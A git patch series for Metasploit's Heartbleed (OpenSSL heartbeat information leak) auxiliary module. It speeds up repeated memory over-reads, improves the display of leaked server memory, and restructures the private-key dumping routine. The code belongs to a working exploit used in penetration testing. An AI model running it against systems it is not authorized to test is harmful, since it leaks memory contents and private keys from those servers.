From 4d97e33bc5d43cf957e36b2276c02b44f2b1c816 Mon Sep 17 00:00:00 2001 From: Tom Spencer Date: Mon, 2 Nov 2015 16:07:21 -0800 Subject: [PATCH 1/3] Dramatic speed-up in bleeding, improved verbose output of leaked data. --- .../scanner/ssl/openssl_heartbleed.rb | 98 +++++++++++++------ 1 file changed, 67 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index a435cd67e0..2486e09e2e 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary 0x00ff # Unknown ] + SSL_RECORD_HEADER_SIZE = 0x05 HANDSHAKE_RECORD_TYPE = 0x16 HEARTBEAT_RECORD_TYPE = 0x18 ALERT_RECORD_TYPE = 0x15 @@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e - TLS_VERSION = { 'SSLv3' => 0x0300, '1.0' => 0x0301, @@ -99,6 +99,10 @@ class Metasploit3 < Msf::Auxiliary # See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252 SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14) + # For verbose output, deduplicate repeated characters beyond this threshold + DEDUP_REPEATED_CHARS_THRESHOLD = 400 + + def initialize super( 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', @@ -203,10 +207,6 @@ class Metasploit3 < Msf::Auxiliary # Main method def run_host(ip) - # initial connect to get public key and stuff - connect_result = establish_connect - disconnect - return if connect_result.nil? case action.name when 'SCAN' @@ -214,7 +214,7 @@ class Metasploit3 < Msf::Auxiliary when 'DUMP' loot_and_report(bleed) # Scan & Dump are similar, scan() records results when 'KEYS' - getkeys + get_keys else # Shouldn't get here, since Action is Enum print_error("Unknown Action: #{action.name}") @@ -424,20 +424,15 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Sending Client Hello...") sock.put(client_hello) - server_hello = get_data - unless server_hello - vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") - return nil - end - server_resp_parsed = parse_ssl_record(server_hello) + server_resp = get_server_hello - if server_resp_parsed.nil? + if server_resp.nil? vprint_error("#{peer} - Server Hello Not Found") return nil end - server_resp_parsed + server_resp end # Generates a heartbeat request @@ -455,7 +450,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Sending Heartbeat...") sock.put(heartbeat_request(heartbeat_length)) - hdr = get_data(5) + hdr = get_data(SSL_RECORD_HEADER_SIZE) if hdr.nil? || hdr.empty? vprint_error("#{peer} - No Heartbeat response...") disconnect @@ -533,16 +528,34 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer} - Heartbeat data stored in #{path}") end - vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") + # Convert non-printable characters to periods + printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.') + + # Keep this many duplicates as padding around the deduplication message + duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round + + # Remove duplicate characters + abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s| + s[0,duplicate_pad] + + ' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' + + s[-duplicate_pad,duplicate_pad] + } + + # Show abbreviated data + vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}") end # - # Keydumoing helper methods + # Keydumping helper methods # # Tries to retreive the private key - def getkeys + def get_keys + connect_result = establish_connect + disconnect + return if connect_result.nil? + print_status("#{peer} - Scanning for private keys") count = 0 @@ -681,12 +694,33 @@ class Metasploit3 < Msf::Auxiliary ssl_record(HANDSHAKE_RECORD_TYPE, data) end - # Parse SSL header - def parse_ssl_record(data) - ssl_records = [] - remaining_data = data + def get_ssl_record + hdr = get_data(SSL_RECORD_HEADER_SIZE) + + unless hdr + vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...") + return nil + end + + len = hdr.unpack('Cnn')[2] + data = get_data(len) + + unless data + vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...") + return nil + end + + hdr << data + end + + # Get and parse server hello response until we hit Server Hello Done or timeout + def get_server_hello + server_done = nil ssl_record_counter = 0 - while remaining_data && remaining_data.length > 0 + + remaining_data = get_ssl_record + + while remaining_data and remaining_data.length > 0 ssl_record_counter += 1 ssl_unpacked = remaining_data.unpack('CH4n') return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 @@ -702,17 +736,19 @@ class Metasploit3 < Msf::Auxiliary else ssl_data = remaining_data[5, ssl_len] handshakes = parse_handshakes(ssl_data) - ssl_records << { - :type => ssl_type, - :version => ssl_version, - :length => ssl_len, - :data => handshakes - } + + # Stop once we receive a SERVER_HELLO_DONE + if handshakes and handshakes.length > 0 and handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE + server_done = true + break + end + end - remaining_data = remaining_data[(ssl_len + 5)..-1] + + remaining_data = get_ssl_record end - ssl_records + server_done end # Parse Handshake data returned from servers From 557dffd8d272b1315e266536a727b1f675f13240 Mon Sep 17 00:00:00 2001 From: Tom Spencer Date: Mon, 2 Nov 2015 21:50:39 -0800 Subject: [PATCH 2/3] Fixed extra space at end of line --- modules/auxiliary/scanner/ssl/openssl_heartbleed.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 2486e09e2e..c7b697fbde 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -534,7 +534,7 @@ class Metasploit3 < Msf::Auxiliary # Keep this many duplicates as padding around the deduplication message duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round - # Remove duplicate characters + # Remove duplicate characters abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s| s[0,duplicate_pad] + ' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' + From ce3f9e2fab9a98d23978626021bd1019a523ddff Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 11 Nov 2015 16:58:20 -0600 Subject: [PATCH 3/3] Fix minor style issues --- .../auxiliary/scanner/ssl/openssl_heartbleed.rb | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index c7b697fbde..07bc61c836 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -102,7 +102,6 @@ class Metasploit3 < Msf::Auxiliary # For verbose output, deduplicate repeated characters beyond this threshold DEDUP_REPEATED_CHARS_THRESHOLD = 400 - def initialize super( 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', @@ -207,7 +206,6 @@ class Metasploit3 < Msf::Auxiliary # Main method def run_host(ip) - case action.name when 'SCAN' loot_and_report(bleed) @@ -535,11 +533,11 @@ class Metasploit3 < Msf::Auxiliary duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round # Remove duplicate characters - abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s| - s[0,duplicate_pad] + - ' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' + - s[-duplicate_pad,duplicate_pad] - } + abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s| + s[0, duplicate_pad] + + ' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' + + s[-duplicate_pad, duplicate_pad] + end # Show abbreviated data vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}") @@ -720,7 +718,7 @@ class Metasploit3 < Msf::Auxiliary remaining_data = get_ssl_record - while remaining_data and remaining_data.length > 0 + while remaining_data && remaining_data.length > 0 ssl_record_counter += 1 ssl_unpacked = remaining_data.unpack('CH4n') return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 @@ -738,7 +736,7 @@ class Metasploit3 < Msf::Auxiliary handshakes = parse_handshakes(ssl_data) # Stop once we receive a SERVER_HELLO_DONE - if handshakes and handshakes.length > 0 and handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE + if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE server_done = true break end